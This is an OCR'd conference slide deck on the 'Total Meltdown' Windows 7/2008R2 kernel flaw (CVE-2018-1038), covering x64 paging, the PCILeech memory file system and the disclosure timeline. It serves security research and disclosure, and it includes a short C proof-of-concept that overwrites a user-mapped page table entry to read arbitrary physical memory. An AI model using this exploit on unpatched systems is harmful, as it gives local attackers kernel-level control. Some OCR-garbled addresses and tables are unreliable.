

Agenda

Meltdown and Total Meltdown

Quick intro to x64 paging

The PCILeech Memory Process File System

Finding Total Meltdown

Releasing a **0-day** publicly

DEMOS, LIVE DEMOS ...

About Me: Ulf Frisk


Pentester by day – Financial Sector – Stockholm

Security Researcher by night

Presented at SEC-T, DEF CON and the Chaos Communication Congress

Author of the PCILeech Direct Memory Acccess Attack Toolkit





Disclaimer

This talk is given by me as an individual My employer is not involved in any way

Total Meltdown

Local Privilege Escalation – Execute code in kernel – Trivially!

Way worse than Meltdown – arbitrary memory read/write at GB/s

Windows 7 / 2008R2 only

NOT directly **related** to Meltdown – NOT a CPU/side channel attack! **Bug** in Meltdown patch opened **backdoor** into physical memory

CVE-2018-1038 / OOB Kernel Patch March 29

Total Meltdown

"... Meltdown fixes from January, February made PCs MORE INSECURE"



Security

Microsoft's Windows 7 Meltdown fixes from January, February made PCs MORE INSECURE



Security

Microsoft patches patch for Meltdown bug patch: Windows 7, Server 2008 rushed an emergency fix

If at first you don't succeed, you're Redmond

By Shaun Nichols in San Francisco 29 Mar 2018 at 23:24

52 🖵


SHARE V



Security

Mad March Meltdown! Microsoft's patch for a patch for a patch may need another patch

If at first, er, second, ah, third, no, fourth, you fail, sadly, you're probably Redmond



Meltdown

CPU bug – affects Intel CPUs

Meltdown – melts security boundaries which are normally enforced by the hardware



Allows low-privilege processes to disclose (read) privileged virtual memory (including kernel memory) residing in the same page table at up to 500kB/s

Independently discovered by three teams* in 2017

*) Jann Horn (Google Project Zero); Werner Haas, Thomas Prescher (Cyberus Technology); Daniel Gruss, Moritz Lipp, Stefan Mangard, Michael Schwarz (Graz University of Technology)

Coordinated disclosure and patches from OS vendors in January 2018.

CPU cores execute code work on data with virtual addresses Virtual address space per process

0x00007ffdddf00108


User mode adresses: 0x0..0x00007ffffffffffff

Memory is physical

Physical addresses:

0x0..<GB RAM> + "PCIe"

0xfffff6fb7dbedf68



FFFFF6FB7DBEDF68

16 bits sign-extension bit 47 (all bits are 0 if bit 47 is 0) (all bits are 1 if bit 47 is 1)

9 bits index of entry in page table LEVEL 4 / PML4 (0-511) (493/0x1ed)

9 bits index of entry in page table LEVEL 3 / PDPT (0-511) (493/0x1ed) 9 bits index of entry in page table LEVEL 2 / PD (0-511) (493/0x1ed) 9 bits index of entry in page table LEVEL 1 / PT (0-511) (493/0x1ed) 12 bits address offset within 4kB page

FFFFF6FB7DBEDF68

(493/0x1ed)PML4 (each entry = 512GB memory) 511 510 495..509 494 493 492 Traditional split between kernel-mode addresses: ffff800000000000+256..491 user-mode addresses 4., 255 O., 7ffffffffff CR3 physical

address of PML4

Index in PDPT (493/0x1ed)

Reserved (must be 0)

Ignored

Index in PML4

51:M

62:52

Index in PD (493/0x1ed)

Index in PT (493/0x1ed)

000000038680863 ← Entry: PML4e


0x38680000 ← Physical Address

6308683800000000 ← Little Endian

Table 4-14. Format of an IA-32e PML4 Entry (PML4E) that References a Page-Directory-Pointer Table

Bit Position(s)	Contents
0 (P)	Present; must be 1 to reference a page-directory-pointer table
1 (R/W)	Read/write; if 0, writes may not be allowed to the 512-GByte region controlled by this entry (see Section 4.6)
2 (U/S)	User/supervisor; if 0, user-mode accesses are not allowed to the 512-GByte region controlled by this entry (see Section 4.6)
3 (P\v/T)	Pane-level write-through: indirectly determines the memory type used to access the pane-directory-pointer table
M-1:12	Physical address of 4-KByte aligned page-directory-pointer table referenced by this entry

FFFFF6FB7DBEDF68



Meltdown – The Fix

Create a second per-process page table!

- New separate user page table with tiny kernel stub
 - One PML4 for kernel, One for user-mode
- Old page table kept as-is as "kernel page table"
- Windows: self-referential entry in both tables

Linux, macOS – similar fixes

Performance loss on older hardware Windows optimization:

keep single page table for admin processes



Memory Process File System

/proc/ style file system

Windows focused (7, 8, 10)

Limited support for other x64 OS'es

PCILeech FPGA == Read/Write

Memory Dump Files == Read Only

Fast! – analyze GBs in seconds!



Memory Process File System

Translation layer: process virtual to physical memory

Locate kernel page table base (CR3/PML4)

Locate kernel process list EPROCESS and enumerate per-process:

Page Table Base (PML4)

Name, PID, PEB ...

Page table walk to create memory map and virtual memory file

Parse in-memory process EXEs DLLs and display as files / directories

DEMO: Memory Process

\$ 1s


PAGE 000000015254d000

Analyze >32GB memory in seconds

Enumerate processes and loaded DLLs

Look at memory map and virtual memory

Page table walks and parsing



DEMO: Finding Total Meltdown

Locate Total Meltdown by looking at the memory map!

PML4 self referential entry mapped as user-mode

Mapped at address OxFFFFF6FB7DBED000

(position 0x1ED, offset 0xF68)

illap	ш			
407	0196	1 fffff683ff7f7000-ffff	f683ff7f7:	fff -rwx
408	0197	4 fffff683ff7f9000-ffff		
409	0198	1 fffff683fffff000-fff:	Table 4	4-14. Format of an IA-32e PML4 Entry (PML4E) that References a Page-Directory-Pointer Table
410	0199	2 fffff6fb40000000-fff:	Bit	Contents
411	019a	1 fffff6fb40003000-fff:	Position(s)	Contents
412	019b	1 fffff6fb4lffb000-fff:		
413	019c	1 fffff6fb4lfff000-fff:	0 (P)	Present; must be 1 to reference a page-directory-pointer table
414	019d	1 fffff6fb7da00000-fff:	1 (R/W)	Read/write: if 0 writes may not be allowed to the STE abyte region controlled by this entry (see Section 4.6)
415	019e	1 ffffffinandfooo-ffff	, ,	
416	019f	2 fffff6fb7dbed000-p f	2 (U/S)	User/supervisor; if 0, user-mode accesses are not allowed to the 512-GByte region controlled by this entry (see Section 4.6)
			3 (PWT)	Page-level write-through; indirectly determines the memory type used to access the page-directory-pointer table

The Vulnerability – 1 bit set in error

 $00800000496ab867 \leftarrow Entry: PML4e$ (hex) 0x7 = 0111 (binary)

Table 4-14. Format of an IA-32e PML4 Entry (PI L4E) that References a Page-Directory-Pointer Table

	Bit Position(s)	Contents			
	0 (P)	Present; must be 1 to reference a page-direct	ry-pointer table		
	1 (R/W)	Read/write: if 0 writes may not be allowed to the STE GBy to region controlled by this entry (see Section 4.6)			
	2 (U/S)	User/supervisor; if 0, user-mode accesses are not allowed to the 512-GByte region controlled by this entry (see Section 4.6)			
	3 (PWT)	Page-level write-through: indirectly determines	the memory type used to access the nane-directory-pointer table		

The minimal "exploit"

No API calls required! – just read and write already in-process memory!

Check for existence:


```
unsigned long long pte_selfref = *(unsigned long long*)0xFFFFF6FB7DBEDF68;
```

Read 4k "arbitrary" physical memory from address 0x331000

```
unsigned char buf[0x1000];
// "randomly" hi-jack pte# 0x100 (offset 0x800), let's hope it's not used :)
*(unsigned long long*)0xFFFFF6FB7DBED800 = 0x000000000331867;
// 0xFFFF6FB7DB00000 == (0xffff << 48) + (0x1ed << 39) + (0x1ed << 30) + (0x1ed << 21) + (0x100 << 12)
memcpy(buf, 0xFFFF6FB7DB00000, 0x1000);</pre>
```

Releasing a 0-day publicly

March 25th: Looked like it was fixed in March – contacted MSRC anyway



March 26th: Green light received by MSRC to publish blog entry

March 27th: Blog entry and PoC published

March 28th: Twitter noticed 2008R2 was affected as well; and march patches had quality issues ...

March 28th: Auch, issue only "patched" for "admin processes" – non admin processes still vulnerable – contacted MSRC again

March 29th: OOB kernel security update for CVE-2018-1038 released!

DEMO

Admin process PML4 vs User process PML4

<u>⊨</u> map	×				
407	0196	1 fffff683ff7f7000-fffff683ff	7f7fff -rwx		
408	0197		fffff683ff7f9000-fffff683ff7fcfff -rwx		
409	0198	1 fffff683fffff000-fff: Ta	Table 4-14. Format of an IA-32e PML4 Entry (PML4E) that References a Page-Directory-Pointer Table		
410	0199	2 fffff6fb4000000-fff1 Bit	Contents		
411	019a	1 fffff6fb40003000-fff1 Position			
412	019b	1 fffff6fb4lffb000-fff:	· ·		
413	019c	1 fffff6fb4lfff000-fff: 0(P)	Present; must be 1 to reference a page-directory-pointer table		
414	019d	1 fffff6fb7da00000-fff1 1 (R/W)	Read/write: if 0 writes may not be allowed to the 312 abyte region controlled by this entry (see Section 4.6)		
415	019e	1 ffffffff dat food-ffff			
416	019f	2 fffff6fb7dbed000-f)f(2(U/S)	User/supervisor; if 0, user-mode accesses are not allowed to the 512-GByte region controlled by this entry (see Section 4.6)		
		3 (PWT)	Pane-level write-through: indirectly determines the memory type used to access the pane-directory-pointer table		

Summary

Total Meltdown is now fixed

Super impressive turn around time by Microsoft!

The PCILeech Memory Process File System is awesome!

